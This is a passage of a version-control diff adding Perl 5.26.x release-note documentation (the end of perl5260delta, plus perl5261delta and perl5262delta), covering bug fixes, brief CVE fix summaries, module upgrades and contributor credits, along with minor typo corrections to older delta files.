+L<[perl #128843]|https://rt.perl.org/Public/Bug/Display.html?id=128843>
+L<[perl #128889]|https://rt.perl.org/Public/Bug/Display.html?id=128889>
+L<[perl #128890]|https://rt.perl.org/Public/Bug/Display.html?id=128890>
+L<[perl #128893]|https://rt.perl.org/Public/Bug/Display.html?id=128893>
+L<[perl #128909]|https://rt.perl.org/Public/Bug/Display.html?id=128909>
+L<[perl #128919]|https://rt.perl.org/Public/Bug/Display.html?id=128919>
+
+=item *
+
+A regression in v5.24 with C<tr/\N{U+...}/foo/> when the code point was between
+128 and 255 has been fixed.
+L<[perl #128734]|https://rt.perl.org/Public/Bug/Display.html?id=128734>.
+
+=item *
+
+Use of a string delimiter whose code point is above 2**31 now works
+correctly on platforms that allow this.  Previously, certain characters,
+due to truncation, would be confused with other delimiter characters
+with special meaning (such as C<"?"> in C<m?...?>), resulting
+in inconsistent behaviour.  Note that this is non-portable,
+and is based on Perl's extension to UTF-8, and is probably not
+displayable nor enterable by any editor.
+L<[perl #128738]|https://rt.perl.org/Public/Bug/Display.html?id=128738>
+
+=item *
+
+C<@{x> followed by a newline where C<"x"> represents a control or non-ASCII
+character no longer produces a garbled syntax error message or a crash.
+L<[perl #128951]|https://rt.perl.org/Public/Bug/Display.html?id=128951>
+
+=item *
+
+An assertion failure with C<%: = 0> has been fixed.
+L<[perl #128238]|https://rt.perl.org/Public/Bug/Display.html?id=128238>
+
+=item *
+
+In Perl 5.18, the parsing of C<"$foo::$bar"> was accidentally changed, such
+that it would be treated as C<$foo."::".$bar>.  The previous behavior, which
+was to parse it as C<$foo:: . $bar>, has been restored.
+L<[perl #128478]|https://rt.perl.org/Public/Bug/Display.html?id=128478>
+
+=item *
+
+Since Perl 5.20, line numbers have been off by one when perl is invoked with
+the B<-x> switch.  This has been fixed.
+L<[perl #128508]|https://rt.perl.org/Public/Bug/Display.html?id=128508>
+
+=item *
+
+Vivifying a subroutine stub in a deleted stash (I<e.g.>,
+C<delete $My::{"Foo::"}; \&My::Foo::foo>) no longer crashes.  It had begun
+crashing in Perl 5.18.
+L<[perl #128532]|https://rt.perl.org/Public/Bug/Display.html?id=128532>
+
+=item *
+
+Some obscure cases of subroutines and file handles being freed at the same time
+could result in crashes, but have been fixed.  The crash was introduced in Perl
+5.22.
+L<[perl #128597]|https://rt.perl.org/Public/Bug/Display.html?id=128597>
+
+=item *
+
+Code that looks for a variable name associated with an uninitialized value
+could cause an assertion failure in cases where magic is involved, such as
+C<$ISA[0][0]>.  This has now been fixed.
+L<[perl #128253]|https://rt.perl.org/Public/Bug/Display.html?id=128253>
+
+=item *
+
+A crash caused by code generating the warning "Subroutine STASH::NAME
+redefined" in cases such as C<sub P::f{} undef *P::; *P::f =sub{};> has been
+fixed.  In these cases, where the STASH is missing, the warning will now appear
+as "Subroutine NAME redefined".
+L<[perl #128257]|https://rt.perl.org/Public/Bug/Display.html?id=128257>
+
+=item *
+
+Fixed an assertion triggered by some code that handles deprecated behavior in
+formats, I<e.g.>, in cases like this:
+
+    format STDOUT =
+    @
+    0"$x"
+
+L<[perl #128255]|https://rt.perl.org/Public/Bug/Display.html?id=128255>
+
+=item *
+
+A possible divide by zero in string transformation code on Windows has been
+avoided, fixing a crash when collating an empty string.
+L<[perl #128618]|https://rt.perl.org/Public/Bug/Display.html?id=128618>
+
+=item *
+
+Some regular expression parsing glitches could lead to assertion failures with
+regular expressions such as C</(?E<lt>=/> and C</(?E<lt>!/>.  This has now been fixed.
+L<[perl #128170]|https://rt.perl.org/Public/Bug/Display.html?id=128170>
+
+=item *
+
+C< until ($x = 1) { ... } > and C< ... until $x = 1 > now properly
+warn when syntax warnings are enabled.
+L<[perl #127333]|https://rt.perl.org/Public/Bug/Display.html?id=127333>
+
+=item *
+
+socket() now leaves the error code returned by the system in C<$!> on
+failure.
+L<[perl #128316]|https://rt.perl.org/Public/Bug/Display.html?id=128316>
+
+=item *
+
+Assignment variants of any bitwise ops under the C<bitwise> feature would
+crash if the left-hand side was an array or hash.
+L<[perl #128204]|https://rt.perl.org/Public/Bug/Display.html?id=128204>
+
+=item *
+
+C<require> followed by a single colon (as in C<foo() ? require : ...> is
+now parsed correctly as C<require> with implicit C<$_>, rather than
+C<require "">.
+L<[perl #128307]|https://rt.perl.org/Public/Bug/Display.html?id=128307>
+
+=item *
+
+Scalar C<keys %hash> can now be assigned to consistently in all scalar
+lvalue contexts.  Previously it worked for some contexts but not others.
+
+=item *
+
+List assignment to C<vec> or C<substr> with an array or hash for its first
+argument used to result in crashes or "Can't coerce" error messages at run
+time, unlike scalar assignment, which would give an error at compile time.
+List assignment now gives a compile-time error, too.
+L<[perl #128260]|https://rt.perl.org/Public/Bug/Display.html?id=128260>
+
+=item *
+
+Expressions containing an C<&&> or C<||> operator (or their synonyms C<and>
+and C<or>) were being compiled incorrectly in some cases.  If the left-hand
+side consisted of either a negated bareword constant or a negated C<do {}>
+block containing a constant expression, and the right-hand side consisted of
+a negated non-foldable expression, one of the negations was effectively
+ignored.  The same was true of C<if> and C<unless> statement modifiers,
+though with the left-hand and right-hand sides swapped.  This long-standing
+bug has now been fixed.
+L<[perl #127952]|https://rt.perl.org/Public/Bug/Display.html?id=127952>
+
+=item *
+
+C<reset> with an argument no longer crashes when encountering stash entries
+other than globs.
+L<[perl #128106]|https://rt.perl.org/Public/Bug/Display.html?id=128106>
+
+=item *
+
+Assignment of hashes to, and deletion of, typeglobs named C<*::::::> no
+longer causes crashes.
+L<[perl #128086]|https://rt.perl.org/Public/Bug/Display.html?id=128086>
+
+=item *
+
+Perl wasn't correctly handling true/false values in the LHS of a list
+assign; specifically the truth values returned by boolean operators.
+This could trigger an assertion failure in something like the following:
+
+    for ($x > $y) {
+        ($_, ...) = (...); # here $_ is aliased to a truth value
+    }
+
+This was a regression from v5.24.
+L<[perl #129991]|https://rt.perl.org/Public/Bug/Display.html?id=129991>
+
+=item *
+
+Assertion failure with user-defined Unicode-like properties.
+L<[perl #130010]|https://rt.perl.org/Public/Bug/Display.html?id=130010>
+
+=item *
+
+Fix error message for unclosed C<\N{> in a regex.  An unclosed C<\N{>
+could give the wrong error message:
+C<"\N{NAME} must be resolved by the lexer">.
+
+=item *
+
+List assignment in list context where the LHS contained aggregates and
+where there were not enough RHS elements, used to skip scalar lvalues.
+Previously, C<(($a,$b, at c,$d) = (1))> in list context returned C<($a)>; now
+it returns C<($a,$b,$d)>.  C<(($a,$b,$c) = (1))> is unchanged: it still
+returns C<($a,$b,$c)>.  This can be seen in the following:
+
+    sub inc { $_++ for @_ }
+    inc(($a,$b, at c,$d) = (10))
+
+Formerly, the values of C<($a,$b,$d)> would be left as C<(11,undef,undef)>;
+now they are C<(11,1,1)>.
+
+=item *
+
+Code like this: C</(?{ s!!! })/> could trigger infinite recursion on the C
+stack (not the normal perl stack) when the last successful pattern in
+scope is itself.  We avoid the segfault by simply forbidding the use of
+the empty pattern when it would resolve to the currently executing
+pattern.
+L<[perl #129903]|https://rt.perl.org/Public/Bug/Display.html?id=129903>
+
+=item *
+
+Avoid reading beyond the end of the line buffer in perl's lexer when
+there's a short UTF-8 character at the end.
+L<[perl #128997]|https://rt.perl.org/Public/Bug/Display.html?id=128997>
+
+=item *
+
+Alternations in regular expressions were sometimes failing to match
+a utf8 string against a utf8 alternate.
+L<[perl #129950]|https://rt.perl.org/Public/Bug/Display.html?id=129950>
+
+=item *
+
+Make C<do "a\0b"> fail silently (and return C<undef> and set C<$!>)
+instead of throwing an error.
+L<[perl #129928]|https://rt.perl.org/Public/Bug/Display.html?id=129928>
+
+=item *
+
+C<chdir> with no argument didn't ensure that there was stack space
+available for returning its result.
+L<[perl #129130]|https://rt.perl.org/Public/Bug/Display.html?id=129130>
+
+=item *
+
+All error messages related to C<do> now refer to C<do>; some formerly
+claimed to be from C<require> instead.
+
+=item *
+
+Executing C<undef $x> where C<$x> is tied or magical no longer incorrectly
+blames the variable for an uninitialized-value warning encountered by the
+tied/magical code.
+
+=item *
+
+Code like C<$x = $x . "a"> was incorrectly failing to yield a
+L<use of uninitialized value|perldiag/"Use of uninitialized value%s">
+warning when C<$x> was a lexical variable with an undefined value. That has
+now been fixed.
+L<[perl #127877]|https://rt.perl.org/Public/Bug/Display.html?id=127877>
+
+=item *
+
+C<undef *_; shift> or C<undef *_; pop> inside a subroutine, with no
+argument to C<shift> or C<pop>, began crashing in Perl 5.14, but has now
+been fixed.
+
+=item *
+
+C<< "string$scalar-E<gt>$*" >> now correctly prefers concatenation
+overloading to string overloading if C<< $scalar-E<gt>$* >> returns an
+overloaded object, bringing it into consistency with C<$$scalar>.
+
+=item *
+
+C<< /@0{0*-E<gt>@*/*0 >> and similar contortions used to crash, but no longer
+do, but merely produce a syntax error.
+L<[perl #128171]|https://rt.perl.org/Public/Bug/Display.html?id=128171>
+
+=item *
+
+C<do> or C<require> with an argument which is a reference or typeglob
+which, when stringified,
+contains a null character, started crashing in Perl 5.20, but has now been
+fixed.
+L<[perl #128182]|https://rt.perl.org/Public/Bug/Display.html?id=128182>
+
+=item *
+
+Improve the error message for a missing C<tie()> package/method. This
+brings the error messages in line with the ones used for normal method
+calls.
+
+=item *
+
+Parsing bad POSIX charclasses no longer leaks memory.
+L<[perl #128313]|https://rt.perl.org/Public/Bug/Display.html?id=128313>
+
+=back
+
+=head1 Known Problems
+
+=over 4
+
+=item *
+
+G++ 6 handles subnormal (denormal) floating point values differently
+than gcc 6 or g++ 5 resulting in "flush-to-zero". The end result is
+that if you specify very small values using the hexadecimal floating
+point format, like C<0x1.fffffffffffffp-1022>, they become zeros.
+L<[perl #131388]|https://rt.perl.org/Ticket/Display.html?id=131388>
+
+=back 
+
+=head1 Errata From Previous Releases
+
+=over 4
+
+=item *
+
+Fixed issues with recursive regexes.  The behavior was fixed in Perl 5.24.
+L<[perl #126182]|https://rt.perl.org/Public/Bug/Display.html?id=126182>
+
+=back
+
+=head1 Obituary
+
+Jon Portnoy (AVENJ), a prolific Perl author and admired Gentoo community
+member, has passed away on August 10, 2016.  He will be remembered and
+missed by all those who he came in contact with, and enriched with his
+intellect, wit, and spirit.
+
+It is with great sadness that we also note Kip Hampton's passing.  Probably
+best known as the author of the Perl & XML column on XML.com, he was a
+core contributor to AxKit, an XML server platform that became an Apache
+Foundation project.  He was a frequent speaker in the early days at
+OSCON, and most recently at YAPC::NA in Madison.  He was frequently on
+irc.perl.org as ubu, generally in the #axkit-dahut community, the
+group responsible for YAPC::NA Asheville in 2011.
+
+Kip and his constant contributions to the community will be greatly
+missed.
+
+=head1 Acknowledgements
+
+Perl 5.26.0 represents approximately 13 months of development since Perl 5.24.0
+and contains approximately 360,000 lines of changes across 2,600 files from 86
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 230,000 lines of changes to 1,800 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed the
+improvements that became Perl 5.26.0:
+
+Aaron Crane, Abigail, Ævar Arnfjörð Bjarmason, Alex Vandiver, Andreas
+König, Andreas Voegele, Andrew Fresh, Andy Lester, Aristotle Pagaltzis, Chad
+Granum, Chase Whitener, Chris 'BinGOs' Williams, Chris Lamb, Christian Hansen,
+Christian Millour, Colin Newell, Craig A. Berry, Dagfinn Ilmari Mannsåker, Dan
+Collins, Daniel Dragan, Dave Cross, Dave Rolsky, David Golden, David H.
+Gutteridge, David Mitchell, Dominic Hargreaves, Doug Bell, E. Choroba, Ed Avis,
+Father Chrysostomos, François Perrad, Hauke D, H.Merijn Brand, Hugo van der
+Sanden, Ivan Pozdeev, James E Keenan, James Raspass, Jarkko Hietaniemi, Jerry
+D. Hedden, Jim Cromie, J. Nick Koston, John Lightsey, Karen Etheridge, Karl
+Williamson, Leon Timmermans, Lukas Mai, Matthew Horsfall, Maxwell Carey, Misty
+De Meo, Neil Bowers, Nicholas Clark, Nicolas R., Niko Tyni, Pali, Paul
+Marquess, Peter Avalos, Petr Písař, Pino Toscano, Rafael Garcia-Suarez, Reini
+Urban, Renee Baecker, Ricardo Signes, Richard Levitte, Rick Delaney, Salvador
+Fandiño, Samuel Thibault, Sawyer X, Sébastien Aperghis-Tramoni, Sergey
+Aleynikov, Shlomi Fish, Smylers, Stefan Seifert, Steffen Müller, Stevan
+Little, Steve Hay, Steven Humphrey, Sullivan Beck, Theo Buehler, Thomas Sibley,
+Todd Rinaldo, Tomasz Konojacki, Tony Cook, Unicode Consortium, Yaroslav Kuzmin,
+Yves Orton, Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database at
+L<https://rt.perl.org/>.  There may also be information at
+L<http://www.perl.org/>, the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to C<perlbug at perl.org> to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5,
+you can do so by running the C<perlthanks> program:
+
+    perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Added: vendor/perl/dist/pod/perl5261delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5261delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5261delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,247 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5261delta - what is new for perl v5.26.1
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.26.0 release and the 5.26.1
+release.
+
+If you are upgrading from an earlier release such as 5.24.0, first read
+L<perl5260delta>, which describes differences between 5.24.0 and 5.26.0.
+
+=head1 Security
+
+=head2 [CVE-2017-12837] Heap buffer overflow in regular expression compiler
+
+Compiling certain regular expression patterns with the case-insensitive
+modifier could cause a heap buffer overflow and crash perl.  This has now been
+fixed.
+L<[perl #131582]|https://rt.perl.org/Public/Bug/Display.html?id=131582>
+
+=head2 [CVE-2017-12883] Buffer over-read in regular expression parser
+
+For certain types of syntax error in a regular expression pattern, the error
+message could either contain the contents of a random, possibly large, chunk of
+memory, or could crash perl.  This has now been fixed.
+L<[perl #131598]|https://rt.perl.org/Public/Bug/Display.html?id=131598>
+
+=head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows
+
+A possible stack buffer overflow in the C<%ENV> code on Windows has been fixed
+by removing the buffer completely since it was superfluous anyway.
+L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.26.0.  If any exist,
+they are bugs, and we request that you submit a report.  See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<base> has been upgraded from version 2.25 to 2.26.
+
+The effects of dotless C<@INC> on this module have been limited by the
+introduction of a more refined and accurate solution for removing C<'.'> from
+C<@INC> while reducing the false positives.
+
+=item *
+
+L<charnames> has been upgraded from version 1.44 to 1.45.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170530 to 5.20170922_26.
+
+=back
+
+=head1 Platform Support
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item FreeBSD
+
+=over 4
+
+=item *
+
+Building with B<g++> on FreeBSD-11.0 has been fixed.
+L<[perl #131337]|https://rt.perl.org/Public/Bug/Display.html?id=131337>
+
+=back
+
+=item Windows
+
+=over 4
+
+=item *
+
+Support for compiling perl on Windows using Microsoft Visual Studio 2017
+(containing Visual C++ 14.1) has been added.
+
+=item *
+
+Building XS modules with GCC 6 in a 64-bit build of Perl failed due to
+incorrect mapping of C<strtoll> and C<strtoull>.  This has now been fixed.
+L<[perl #131726]|https://rt.perl.org/Public/Bug/Display.html?id=131726>
+L<[cpan #121683]|https://rt.cpan.org/Public/Bug/Display.html?id=121683>
+L<[cpan #122353]|https://rt.cpan.org/Public/Bug/Display.html?id=122353>
+
+=back
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+Several built-in functions previously had bugs that could cause them to write
+to the internal stack without allocating room for the item being written.  In
+rare situations, this could have led to a crash.  These bugs have now been
+fixed, and if any similar bugs are introduced in future, they will be detected
+automatically in debugging builds.
+L<[perl #131732]|https://rt.perl.org/Public/Bug/Display.html?id=131732>
+
+=item *
+
+Using a symbolic ref with postderef syntax as the key in a hash lookup was
+yielding an assertion failure on debugging builds.
+L<[perl #131627]|https://rt.perl.org/Public/Bug/Display.html?id=131627>
+
+=item *
+
+List assignment (C<aassign>) could in some rare cases allocate an entry on the
+mortal stack and leave the entry uninitialized.
+L<[perl #131570]|https://rt.perl.org/Public/Bug/Display.html?id=131570>
+
+=item *
+
+Attempting to apply an attribute to an C<our> variable where a function of that
+name already exists could result in a NULL pointer being supplied where an SV
+was expected, crashing perl.
+L<[perl #131597]|https://rt.perl.org/Public/Bug/Display.html?id=131597>
+
+=item *
+
+The code that vivifies a typeglob out of a code ref made some false assumptions
+that could lead to a crash in cases such as C<< $::{"A"} = sub {}; \&{"A"} >>.
+This has now been fixed.
+L<[perl #131085]|https://rt.perl.org/Public/Bug/Display.html?id=131085>
+
+=item *
+
+C<my_atof2> no longer reads beyond the terminating NUL, which previously
+occurred if the decimal point is immediately before the NUL.
+L<[perl #131526]|https://rt.perl.org/Public/Bug/Display.html?id=131526>
+
+=item *
+
+Occasional "Malformed UTF-8 character" crashes in C<s//> on utf8 strings have
+been fixed.
+L<[perl #131575]|https://rt.perl.org/Public/Bug/Display.html?id=131575>
+
+=item *
+
+C<perldoc -f s> now finds C<s///>.
+L<[perl #131371]|https://rt.perl.org/Public/Bug/Display.html?id=131371>
+
+=item *
+
+Some erroneous warnings after utf8 conversion have been fixed.
+L<[perl #131190]|https://rt.perl.org/Public/Bug/Display.html?id=131190>
+
+=item *
+
+The C<jmpenv> frame to catch Perl exceptions is set up lazily, and this used to
+be a bit too lazy.  The catcher is now set up earlier, preventing some possible
+crashes.
+L<[perl #105930]|https://rt.perl.org/Public/Bug/Display.html?id=105930>
+
+=item *
+
+Spurious "Assuming NOT a POSIX class" warnings have been removed.
+L<[perl #131522]|https://rt.perl.org/Public/Bug/Display.html?id=131522>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.26.1 represents approximately 4 months of development since Perl 5.26.0
+and contains approximately 8,900 lines of changes across 85 files from 23
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 990 lines of changes to 38 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed
+the improvements that became Perl 5.26.1:
+
+Aaron Crane, Andy Dougherty, Aristotle Pagaltzis, Chris 'BinGOs' Williams,
+Craig A. Berry, Dagfinn Ilmari Mannsåker, David Mitchell, E. Choroba, Eric
+Herman, Father Chrysostomos, Jacques Germishuys, James E Keenan, John SJ
+Anderson, Karl Williamson, Ken Brown, Lukas Mai, Matthew Horsfall, Ricardo
+Signes, Sawyer X, Steve Hay, Tony Cook, Yves Orton, Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database
+at L<https://rt.perl.org/> .  There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION> for details of how to
+report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5, you
+can do so by running the C<perlthanks> program:
+
+    perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Added: vendor/perl/dist/pod/perl5262delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5262delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5262delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,245 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5262delta - what is new for perl v5.26.2
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.26.1 release and the 5.26.2
+release.
+
+If you are upgrading from an earlier release such as 5.26.0, first read
+L<perl5261delta>, which describes differences between 5.26.0 and 5.26.1.
+
+=head1 Security
+
+=head2 [CVE-2018-6797] heap-buffer-overflow (WRITE of size 1) in S_regatom (regcomp.c)
+
+A crafted regular expression could cause a heap buffer write overflow, with
+control over the bytes written.
+L<[perl #132227]|https://rt.perl.org/Public/Bug/Display.html?id=132227>
+
+=head2 [CVE-2018-6798] Heap-buffer-overflow in Perl__byte_dump_string (utf8.c)
+
+Matching a crafted locale dependent regular expression could cause a heap
+buffer read overflow and potentially information disclosure.
+L<[perl #132063]|https://rt.perl.org/Public/Bug/Display.html?id=132063>
+
+=head2 [CVE-2018-6913] heap-buffer-overflow in S_pack_rec
+
+C<pack()> could cause a heap buffer write overflow with a large item count.
+L<[perl #131844]|https://rt.perl.org/Public/Bug/Display.html?id=131844>
+
+=head2 Assertion failure in Perl__core_swash_init (utf8.c)
+
+Control characters in a supposed Unicode property name could cause perl to
+crash.  This has been fixed.
+L<[perl #132055]|https://rt.perl.org/Public/Bug/Display.html?id=132055>
+L<[perl #132553]|https://rt.perl.org/Public/Bug/Display.html?id=132553>
+L<[perl #132658]|https://rt.perl.org/Public/Bug/Display.html?id=132658>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.26.1.  If any exist,
+they are bugs, and we request that you submit a report.  See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170922_26 to 5.20180414_26.
+
+=item *
+
+L<PerlIO::via> has been upgraded from version 0.16 to 0.17.
+
+=item *
+
+L<Term::ReadLine> has been upgraded from version 1.16 to 1.17.
+
+=item *
+
+L<Unicode::UCD> has been upgraded from version 0.68 to 0.69.
+
+=back
+
+=head1 Documentation
+
+=head2 Changes to Existing Documentation
+
+=head3 L<perluniprops>
+
+=over 4
+
+=item *
+
+This has been updated to note that C<\p{Word}> now includes code points
+matching the C<\p{Join_Control}> property.  The change to the property was made
+in Perl 5.18, but not documented until now.  There are currently only two code
+points that match this property: U+200C (ZERO WIDTH NON-JOINER) and U+200D
+(ZERO WIDTH JOINER).
+
+=back
+
+=head1 Platform Support
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item Windows
+
+Visual C++ compiler version detection has been improved to work on non-English
+language systems.
+L<[perl #132421]|https://rt.perl.org/Public/Bug/Display.html?id=132421>
+
+We now set C<$Config{libpth}> correctly for 64-bit builds using Visual C++
+versions earlier than 14.1.
+L<[perl #132484]|https://rt.perl.org/Public/Bug/Display.html?id=132484>
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+The C<readpipe()> built-in function now checks at compile time that it has only
+one parameter expression, and puts it in scalar context, thus ensuring that it
+doesn't corrupt the stack at runtime.
+L<[perl #4574]|https://rt.perl.org/Public/Bug/Display.html?id=4574>
+
+=item *
+
+Fixed a use after free bug in C<pp_list> introduced in Perl 5.27.1.
+L<[perl #131954]|https://rt.perl.org/Public/Bug/Display.html?id=131954>
+
+=item *
+
+Parsing a C<sub> definition could cause a use after free if the C<sub> keyword
+was followed by whitespace including newlines (and comments).
+L<[perl #131836]|https://rt.perl.org/Public/Bug/Display.html?id=131836>
+
+=item *
+
+The tokenizer now correctly adjusts a parse pointer when skipping whitespace in
+an C< ${identifier} > construct.
+L<[perl #131949]|https://rt.perl.org/Public/Bug/Display.html?id=131949>
+
+=item *
+
+Accesses to C<${^LAST_FH}> no longer assert after using any of a variety of I/O
+operations on a non-glob.
+L<[perl #128263]|https://rt.perl.org/Public/Bug/Display.html?id=128263>
+
+=item *
+
+C<sort> now performs correct reference counting when aliasing C<$a> and C<$b>,
+thus avoiding premature destruction and leakage of scalars if they are
+re-aliased during execution of the sort comparator.
+L<[perl #92264]|https://rt.perl.org/Public/Bug/Display.html?id=92264>
+
+=item *
+
+Some convoluted kinds of regexp no longer cause an arithmetic overflow when
+compiled.
+L<[perl #131893]|https://rt.perl.org/Public/Bug/Display.html?id=131893>
+
+=item *
+
+Fixed a duplicate symbol failure with B<-flto -mieee-fp> builds.  F<pp.c>
+defined C<_LIB_VERSION> which B<-lieee> already defines.
+L<[perl #131786]|https://rt.perl.org/Public/Bug/Display.html?id=131786>
+
+=item *
+
+A NULL pointer dereference in the C<S_regmatch()> function has been fixed.
+L<[perl #132017]|https://rt.perl.org/Public/Bug/Display.html?id=132017>
+
+=item *
+
+Failures while compiling code within other constructs, such as with string
+interpolation and the right part of C<s///e> now cause compilation to abort
+earlier.
+
+Previously compilation could continue in order to report other errors, but the
+failed sub-parse could leave partly parsed constructs on the parser
+shift-reduce stack, confusing the parser, leading to perl crashes.
+L<[perl #125351]|https://rt.perl.org/Public/Bug/Display.html?id=125351>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.26.2 represents approximately 7 months of development since Perl 5.26.1
+and contains approximately 3,300 lines of changes across 82 files from 17
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 1,800 lines of changes to 36 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed
+the improvements that became Perl 5.26.2:
+
+Aaron Crane, Abigail, Chris 'BinGOs' Williams, H.Merijn Brand, James E Keenan,
+Jarkko Hietaniemi, John SJ Anderson, Karen Etheridge, Karl Williamson, Lukas
+Mai, Renee Baecker, Sawyer X, Steve Hay, Todd Rinaldo, Tony Cook, Yves Orton,
+Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database
+at L<https://rt.perl.org/> .  There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5,
+you can do so by running the C<perlthanks> program:
+
+    perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Modified: vendor/perl/dist/pod/perl581delta.pod
===================================================================
--- vendor/perl/dist/pod/perl581delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl581delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -559,7 +559,7 @@
 environment.  See README.os400.
 
 Yet another cross-compilation option has been added: now Perl builds
-on OpenZaurus, an Linux distribution based on Mandrake + Embedix for
+on OpenZaurus, a Linux distribution based on Mandrake + Embedix for
 the Sharp Zaurus PDA.  See the Cross/README file.
 
 Tru64 when using gcc 3 drops the optimisation for F<toke.c> to C<-O2>

Modified: vendor/perl/dist/pod/perl588delta.pod
===================================================================
--- vendor/perl/dist/pod/perl588delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl588delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -530,7 +530,7 @@
 
 =item *
 
-C<File::Spec->rootdir()> now returns C<\> on Win32, instead of C</>
+C<< File::Spec->rootdir() >> now returns C<\> on Win32, instead of C</>
 
 =item *
 
@@ -1243,7 +1243,7 @@
 
 =item *
 
